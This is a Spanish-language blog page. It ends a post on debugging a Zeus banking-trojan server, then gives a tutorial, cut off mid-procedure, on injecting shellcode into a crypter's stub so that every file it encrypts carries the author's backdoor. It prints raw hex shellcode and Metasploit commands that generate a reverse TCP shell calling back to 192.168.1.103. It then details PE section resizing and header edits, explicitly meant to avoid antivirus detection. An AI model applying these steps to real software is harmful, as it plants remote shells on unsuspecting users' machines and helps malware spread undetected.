<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSeRnJ_qHHkKJiM1GrMzXtysRD_QibWWgVHt5pHvHXeyFkyA8Dn5DVHwbgxd3XWAQi4TNIwDsd6skrq6ih5d3eeWlyLr4mvYktSth3YMcSt-REet8rK4k6A7qCZa8P-C2zm-yoa8Oe5INp/s1600/3%252BEAX1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="274" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSeRnJ_qHHkKJiM1GrMzXtysRD_QibWWgVHt5pHvHXeyFkyA8Dn5DVHwbgxd3XWAQi4TNIwDsd6skrq6ih5d3eeWlyLr4mvYktSth3YMcSt-REet8rK4k6A7qCZa8P-C2zm-yoa8Oe5INp/s1600/3%252BEAX1.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">La modificación de la instrucción contenida en la dirección
de memoria </span><i style="font-family: "Courier New", Courier, monospace;">40D5BE, </i><span style="font-family: 'Courier New', Courier, monospace;">se realizará con
un salto </span><i style="font-family: "Courier New", Courier, monospace;">JE</i><span style="font-family: 'Courier New', Courier, monospace;"> que revertiría la acción,
ya que esta instrucción sirve para dar un salto si el valor contenido en </span><i style="font-family: "Courier New", Courier, monospace;">EAX</i><span style="font-family: 'Courier New', Courier, monospace;"> es igual o si es cero.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyyTVLm4orc9I9MWT4Jxeu3nvKacmVPNbPXURE6We3u8jY3SyVPc7Hq9qpK2uyjlZTsyKuP_L0tSb5mcU1j99PyNlBe-oo22m3Qb8gws1EM4Y_9uCRpiKYvC5XD6qe3og_4Jeg99zLnq4M/s1600/4%252BJE.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="228" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyyTVLm4orc9I9MWT4Jxeu3nvKacmVPNbPXURE6We3u8jY3SyVPc7Hq9qpK2uyjlZTsyKuP_L0tSb5mcU1j99PyNlBe-oo22m3Qb8gws1EM4Y_9uCRpiKYvC5XD6qe3og_4Jeg99zLnq4M/s1600/4%252BJE.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Jump is NOT taken…</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzLoBhEtgUnRV6Gtz4HcKOZBTNsO2ozyRPaqlhmuHCjNK91-mnfV9-OEYkDJNxKDpAwXGfAt87yRxWOaNSJXPoTK-a2FPYDPj68dxgbcC8nCJuYOKrnx67V6rxclZ00Ro_gF-Y_dLE-0Ii/s1600/5%252BJMP%252Bis%252BNOT%252Btaken.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzLoBhEtgUnRV6Gtz4HcKOZBTNsO2ozyRPaqlhmuHCjNK91-mnfV9-OEYkDJNxKDpAwXGfAt87yRxWOaNSJXPoTK-a2FPYDPj68dxgbcC8nCJuYOKrnx67V6rxclZ00Ro_gF-Y_dLE-0Ii/s1600/5%252BJMP%252Bis%252BNOT%252Btaken.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Pues eso, seguimos con la ejecución de nuestro servidor de
Zeus y como ni este ni el Crypter contienen medidas Anti-Sniffing,
Anti-Debugging, Anti-Sandboxing… podemos permitirnos </span><i style="font-family: "Courier New", Courier, monospace;">reversear</i><span style="font-family: 'Courier New', Courier, monospace;"> el cifrado o abrir un WireShark y ver las peticiones que
realiza a los ficheros de configuración, que descargan las inyecciones para las
páginas bancarias.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXlJwrEvCjX0kjdT4vIuuQ1YJXUCYkmjyjLHxUmjVgmQNSEcwrWb6iNCGzLnPnwF2A3VMVqIfMnJrKvxiTPjelKdpMoTyHeP2f2ZR1cKn9EiEiF0FUBMfHgA2JoeIWfu1lNUcePOyIlLIS/s1600/6%252BWireSharkCaptura.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="226" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXlJwrEvCjX0kjdT4vIuuQ1YJXUCYkmjyjLHxUmjVgmQNSEcwrWb6iNCGzLnPnwF2A3VMVqIfMnJrKvxiTPjelKdpMoTyHeP2f2ZR1cKn9EiEiF0FUBMfHgA2JoeIWfu1lNUcePOyIlLIS/s1600/6%252BWireSharkCaptura.png" width="640" /></a></span></div>
<br />
<span style="font-family: Courier New, Courier, monospace;"><i>Les invito esta noche a ver un debate sobre Hacking Ético en el cual participaré. A las 22:00 GMT+2 - 23:00 GMT+2.</i></span><br />
<span style="font-family: Courier New, Courier, monospace;"><i><br /></i></span>
<span style="font-family: Courier New, Courier, monospace;"><a href="https://plus.google.com/u/0/events/civmdrj5n2hbdkijiqgmn49v550"><i>https://plus.google.com/u/0/events/civmdrj5n2hbdkijiqgmn49v550</i></a></span><br />
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Saludos 4n4les! ;)</span></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com1tag:blogger.com,1999:blog-2707641124274171597.post-83149805441195014532014-04-26T17:02:00.000+02:002014-04-27T19:10:59.258+02:00Injerto de una ShellCode en el Stub de un Crypter<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Tengo un problema, posiblemente este debería formar parte de
mi currículum de igual manera que forma parte de mi vida. Para no alarmar
demasiado a los lectores, les contaré de qué se trata. Pues bien, tengo la
necesidad de forma constante de realizar cosas nuevas, la seguridad informática
es algo que me encanta, todos tenemos nuestros hobbies. Posiblemente en mi vida
tenga cosas que me complacen más o menos, salir al campo, emborracharme,
escuchar música… lo que todos los jóvenes de hoy en día, con mayor o menor
frecuencia realizan. Algunas cosas me llenan más, otras menos, y cuando me
aburro siempre encuentro la alternativa para realizar otra cosa que
sencillamente me hace feliz. Es por eso, que llevo tanto sin escribir en el
blog, he encontrado otras cosas que me hacen disfrutar y seguir aprendiendo en
otros ámbitos, no obstante a veces, añoro cosas que hacía y por eso hoy me tenéis enelpc, <i>bueno… eso! y porque hace un frío que te cagas! Y prefiero hacer
algo en casita brbrbrbrrrr</i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Se me ha ocurrido la idea, de que sería divertida una
entrada sobre cómo realizar un injerto en una sección ejecutable de cualquier aplicación, que de alguna manera realizase la ejecución de una <i>ShellCode
</i>para tomar el control del equipo donde esta se ejecuta. Evolucionando un poco
la idea, <i>¿Por qué no…?</i> Sería la ostia, incluir la <i>shellcode </i>en el <i>stub </i>de un
<i>crypter</i>, para que todas las aplicaciones (normalmente malware) que sean
cifradas por el mismo, se lleven un regalito y podamos utilizar esto como
método de propagación de mi <i>backdoor</i>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">La primera <i>shellcode </i>que utilicé para realizar el <i>POC</i>, no
era más que un <i>MessageBox </i>funcional para prácticamente todas las versiones de
<b>Microsoft Windows</b>:<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><span style="color: red; font-size: x-small;"><span style="background-color: white; line-height: 115%;">31d2b230648b128b520c8b521c8b42</span><wbr style="background-color: white;"></wbr>088b72208b12807e0c3375f289c703<wbr style="background-color: white;"></wbr>783c8b577801c28b7a2001c731ed8b<wbr style="background-color: white;"></wbr>34af01c645813e4661746175f2817e<wbr style="background-color: white;"></wbr>084578697475e98b7a2401c7668b2c<wbr style="background-color: white;"></wbr>6f8b7a1c01c78b7caffc01c7687974<wbr style="background-color: white;"></wbr>6501686b656e42682042726f89e1fe<wbr style="background-color: white;"></wbr>490b31c05150ffd7</span><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Una vez que vi mi idea funcionando, pasé a una <i>shellcode </i>de
<b>Metasploit </b><i>¿Cómo no?</i> Una <i>reverse TCP</i>, de tipo <i>stage</i> con la conexión y el resto de funcionalidades.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US"><span style="color: red; font-family: Courier New, Courier, monospace;">use windows/shell/reverse_tcp<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US"><span style="color: red; font-family: Courier New, Courier, monospace;">set LPORT 4444<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US"><span style="color: red; font-family: Courier New, Courier, monospace;">set LHOST 192.168.1.103<o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US"><span style="font-family: Courier New, Courier, monospace;"><span style="color: red;">generate</span><o:p></o:p></span></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span lang="EN-US"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></i></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEe7kb0ma2-VdM99cep4Ls3339J0EUHT0hvVHa0glK45lmK1g6vP8XoeDyO2hOBPO3YTrG5L-nfMwynp2NdSL8InaDRgJ8h8mOLJAr6MOlE4YK3lSyxAgfOYzpTIenYftpLI3FxHiNeoDD/s1600/1%252Bshellcode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEe7kb0ma2-VdM99cep4Ls3339J0EUHT0hvVHa0glK45lmK1g6vP8XoeDyO2hOBPO3YTrG5L-nfMwynp2NdSL8InaDRgJ8h8mOLJAr6MOlE4YK3lSyxAgfOYzpTIenYftpLI3FxHiNeoDD/s1600/1%252Bshellcode.png" height="640" width="460" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Como nota importante, existen conversores de <i>ShellCode to Assembly</i></span><span style="font-family: 'Courier New', Courier, monospace;"> para poder echarle el ojo sin perder demasiadas neuronas.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3NxPbRW53SEV0tVzvWw9_jjppr2JQL5zVJtzr6UlkUv4EisZ7jUAlcdviwI6kQ-aZmFjOqgb_yi-ewhxk0b3BW4w4GPJnTq9XQ5nvI8qRgdvwoHHKU1OZSnW9Bcj5GDS3pBL0lqhKAuB7/s1600/2%252Bshell+to+asm.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3NxPbRW53SEV0tVzvWw9_jjppr2JQL5zVJtzr6UlkUv4EisZ7jUAlcdviwI6kQ-aZmFjOqgb_yi-ewhxk0b3BW4w4GPJnTq9XQ5nvI8qRgdvwoHHKU1OZSnW9Bcj5GDS3pBL0lqhKAuB7/s1600/2%252Bshell+to+asm.png" height="320" width="400" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para poder utilizar la ShellCode más adelante, ya que por defecto
Metasploit la devuelve en formato de lenguaje <i>C</i>, he
realizado la limpieza de todas las “\x” para insertarla más adelante.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuQbSgP0jRUSf13JQsvq-AbmO8tn170k-aMWLiKy2g7w565n-r927lPajgvzDHSAYAyNtfvSd989Nr7FHzQpZqrzcoFtArq0ShhRhCSPE7soBcb3exmlkt0mlVWSyIY5QnXkvOLptZCC8H/s1600/3%252Bshellcode+txt.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuQbSgP0jRUSf13JQsvq-AbmO8tn170k-aMWLiKy2g7w565n-r927lPajgvzDHSAYAyNtfvSd989Nr7FHzQpZqrzcoFtArq0ShhRhCSPE7soBcb3exmlkt0mlVWSyIY5QnXkvOLptZCC8H/s1600/3%252Bshellcode+txt.png" height="197" width="400" /></a></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Lo que queremos inyectar ya lo tenemos preparado, el próximo
paso sería hacernos el hueco sobre el ejecutable donde vamos a realizar el
injerto de código. Para ello, he decidido que puede resultar más didáctico no
utilizar <i>Topo </i>ni herramientas que nos digan donde hay un hueco, sino que el
objetivo será el de ampliar la sección ejecutable <i>CODE</i> o en otros casos <i>text</i>,
para incluir nuestro código. Por otro lado, evitaremos detecciones antivirus
por la creación de nuevas secciones sobre el ejecutable y cosas similares.
Utilizaremos <b>LordPE </b>para ver donde se encuentra el inicio de la siguiente
sección <i>DATA</i>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: center;">
<span lang="EN-US"><span style="font-family: Courier New, Courier, monospace;"><i>“PE Editor
> Stub.exe > Sections”</i><o:p></o:p></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR17jATEe63UpEdChcP7oFw9GbRnyEsZp_DxHr7V7wbo1f6YQYiREz7RYuJFANWacYpoweGByP_RQmSQLLqTouI46sBa1VqreF0nn32x39m6Y0TDyZDAVXOL9jIYX47_dCo3mgRIU6_00G/s1600/4%252BRoffset+DATA.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR17jATEe63UpEdChcP7oFw9GbRnyEsZp_DxHr7V7wbo1f6YQYiREz7RYuJFANWacYpoweGByP_RQmSQLLqTouI46sBa1VqreF0nn32x39m6Y0TDyZDAVXOL9jIYX47_dCo3mgRIU6_00G/s1600/4%252BRoffset+DATA.png" height="299" width="640" /></a></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">4600 hex es la dirección donde empieza la sección <i>DATA</i>, con
lo que la sección <i>CODE</i> contiene un hueco desde ese <i>Offset </i>hasta el final de la
misma. En este caso vamos a ampliar ese hueco para que entre una shellcode
grande.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Nos dirigimos a un editor hexadecimal, yo en mi caso siempre
suelo utilizar <b>Hex WorkShop</b> aunque tenéis <b>WinHex </b>gratuito para estas cosas
también. <i>Control+G</i> y accedemos al formulario de búsqueda, con el cual podemos
llegar hasta el <i>Offset </i>4600 hex.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCqWbfpO9U4PaSPAL_eBcoKoJoS0HMUGgBzs_ae00ouQIbKeF6qxG2z9zR1H0TGWDXCNzgssfnxdb5cUKgz_twOqB86lawAQfuwGuZOyqAEb_zJvx-sXLb9X98R37Kr4hlv13HP40FbJ0y/s1600/5%252BOffset+4600.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCqWbfpO9U4PaSPAL_eBcoKoJoS0HMUGgBzs_ae00ouQIbKeF6qxG2z9zR1H0TGWDXCNzgssfnxdb5cUKgz_twOqB86lawAQfuwGuZOyqAEb_zJvx-sXLb9X98R37Kr4hlv13HP40FbJ0y/s1600/5%252BOffset+4600.png" height="596" width="640" /></a></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para saber la cantidad de Offsets a incluir, abriremos LordPE
y seleccionaremos el <b>Stub.exe</b> del Crypter con el botón de <i>PE Editor </i>para
apuntar el valor de <i>FileAlignment</i>. El
número de Bytes a incluir es importante, ya que debe de ser múltiplo de este
valor <span style="background-color: white; line-height: 115%;">del ejecutable.</span><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhygwsTxy6ATTBFbUAIiaAjbN7Pbe0XqZhrqNU_e_AhCRVlZByDXYxph4Ya3f6VDvxC8QV9oXBbehOLU1LIFU_b-BOEcrYWF79zMvPzs9X-sHHMCBqklvOFKwMnmcfPVjq9mXsCCmcR-71a/s1600/6%252Bcopiamos+los+valores.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhygwsTxy6ATTBFbUAIiaAjbN7Pbe0XqZhrqNU_e_AhCRVlZByDXYxph4Ya3f6VDvxC8QV9oXBbehOLU1LIFU_b-BOEcrYWF79zMvPzs9X-sHHMCBqklvOFKwMnmcfPVjq9mXsCCmcR-71a/s1600/6%252Bcopiamos+los+valores.png" height="252" width="640" /></a></span></div>
<div class="MsoNormal" style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><b>200 * 3 = 600</b><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Botón derecho <i>Insert
Bytes</i> para incluir <b>600 Bytes</b> más a la sección CODE.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRo6at3zwqztfOaKeyxLnSeyMc51R2zMytl1r8DJ3t3f_DalUXRtul1DxbvFXkxlj4gSGTXkS1zEgiBMD4LPj5N3V2h6kR1fK3brB7Ec-RIHunJ6KDJh5MI-DMb5gZKC_hXHhCuD6dFZnY/s1600/7%252B600-90.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRo6at3zwqztfOaKeyxLnSeyMc51R2zMytl1r8DJ3t3f_DalUXRtul1DxbvFXkxlj4gSGTXkS1zEgiBMD4LPj5N3V2h6kR1fK3brB7Ec-RIHunJ6KDJh5MI-DMb5gZKC_hXHhCuD6dFZnY/s1600/7%252B600-90.png" height="524" width="640" /></a></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Después de esta acción,
el ejecutable Stub.exe queda totalmente roto, ya que hemos incluido 600
Bytes anulando el resto de punteros que apuntan a las posiciones del resto de
secciones PE.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEa-OaOrUmGfe5a1g0dsgEs0-001_d25MLvDVe3r5I2Eas5aAAJy9gZ64OX-J2xBmqP6jRK414zcJ-K8clgw0CVZmY3OFov3JElyG4figpPdWFnordWKeMnFvdV0xCUKjzt9fn9izgZBJB/s1600/ROTO.exe.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEa-OaOrUmGfe5a1g0dsgEs0-001_d25MLvDVe3r5I2Eas5aAAJy9gZ64OX-J2xBmqP6jRK414zcJ-K8clgw0CVZmY3OFov3JElyG4figpPdWFnordWKeMnFvdV0xCUKjzt9fn9izgZBJB/s1600/ROTO.exe.png" height="150" width="640" /></a></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Nos dirigimos a las secciones y sobre la sección <i>CODE</i>,
presionamos con el botón derecho sobre “Edit Section Header”.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEphFVAiV6E26bLPmEedV9eVTW_NZEO6sF8PR4_2zijE0Gt8jtFxYmqAELRbjJhjmj8yocPnMyPyaM5nj_QCvXyhZAnoiWUyjDqkvpZkKbCNRx2BPQOWFi2jWGwcbyBAv9Ct_DZKayVr8D/s1600/8%252Beditamos+el+header.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEphFVAiV6E26bLPmEedV9eVTW_NZEO6sF8PR4_2zijE0Gt8jtFxYmqAELRbjJhjmj8yocPnMyPyaM5nj_QCvXyhZAnoiWUyjDqkvpZkKbCNRx2BPQOWFi2jWGwcbyBAv9Ct_DZKayVr8D/s1600/8%252Beditamos+el+header.png" height="196" width="640" /></a></span></div>
<div class="MsoNormal">
</div>
<div style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Vamos a empezar con el alineamiento, con lo que será
necesario en este caso realizar lo siguiente:</span></div>
<div style="text-align: justify;">
<span style="background-color: white; font-family: 'Courier New', Courier, monospace; line-height: 115%;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;"></span><span style="background-color: white; font-family: 'Courier New', Courier, monospace; line-height: 115%;">Es necesario incrementar los valores
de VirtualSize y RawSize con lo que hay que sumarles la cantidad en bytes que
hemos incluido anteriormente, 600 bytes.</span><br />
<i style="color: red; font-family: 'Courier New', Courier, monospace;"><br /></i>
<i style="color: red; font-family: 'Courier New', Courier, monospace;">VirtualSize = 40A4 +
600 = 46A4</i></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i><span style="color: red;">RawSize = 4200 + 600
= 4800</span></i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para el resto de secciones, hay que modificar tanto el
<i>VirtualAddress </i>como el <span style="background-color: white;"><i style="line-height: 115%;">PointerToRawData</i><span style="line-height: 115%;">. En nuestro caso tras sumar el </span><i style="line-height: 115%;">VirtualAdress </i><span style="line-height: 115%;">y
</span><i style="line-height: 115%;">SizeOfRawData </i><span style="line-height: 115%;">de la sección </span><i style="line-height: 115%;">CODE</i><span style="line-height: 115%;">, no superamos el valor contenido en el </span><i style="line-height: 115%;">VirtualAddress
</i><span style="line-height: 115%;">de la siguiente sección, con lo que al no pisarla, no es necesario llevar a
cabo su modificación. Por otro lado, sí será necesaria la modificación del </span><i style="line-height: 115%;">PointerToRawData</i><span style="line-height: 115%;">
del resto de secciones siguientes, sumando el valor contenido en </span><i style="line-height: 115%;">Raw Offset</i><span style="line-height: 115%;"> y </span><i style="line-height: 115%;">SizeOfRawData
</i><span style="line-height: 115%;">de la </span><span style="line-height: 18.399999618530273px;">sección</span><span style="line-height: 115%;"> anterior. De tal manera que quede así.<o:p></o:p></span></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7jUq6TQd0A_Hl2034pZWUmTXiPb7I_2QtBdBhrw10Q_7e3dJGJ4LAS9kFhxFUzLW1kXt0CzPsJcw5IE4U2I8UU3AOAg_-kgK-1rokLLUTQKyKZPm3bhUXJECFSE6L67t-yZTasSFhxCTm/s1600/9%252Balineamos+todas+las+secciones.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7jUq6TQd0A_Hl2034pZWUmTXiPb7I_2QtBdBhrw10Q_7e3dJGJ4LAS9kFhxFUzLW1kXt0CzPsJcw5IE4U2I8UU3AOAg_-kgK-1rokLLUTQKyKZPm3bhUXJECFSE6L67t-yZTasSFhxCTm/s1600/9%252Balineamos+todas+las+secciones.png" height="322" width="400" /></a></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;">Tras
guardar los cambios, abrimos el Stub.exe con <b>OllyDbg </b>y buscaremos en hexadecimal
varias instrucciones <b>NOOP</b>, para dar con la dirección virtual donde se encuentra
el hueco que hicimos con el editor para realizar el injerto.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWoZnJU70SectAmPI2Iq2TMstoxqFnkSBJimfhKboUPax2YryEHVogprod0vJfR34yADRhlLTJOLadebUTQptUP4bzBcZFjG9y-m314-QEgUoLtpl9VM21YmD9aaHZyYebrXhzqN4wvUDf/s1600/10%252Bbuscando%252Bnops.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWoZnJU70SectAmPI2Iq2TMstoxqFnkSBJimfhKboUPax2YryEHVogprod0vJfR34yADRhlLTJOLadebUTQptUP4bzBcZFjG9y-m314-QEgUoLtpl9VM21YmD9aaHZyYebrXhzqN4wvUDf/s1600/10%252Bbuscando%252Bnops.png" height="428" width="640" /></a></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;">Copiamos
la <i>ShellCode </i>que limpiamos anteriormente en la tercera imagen de este artículo
y la pegamos seleccionando un gran número de instrucciones <i>NOOP </i>de forma
binaria.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="background-color: white; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"></span></span></div>
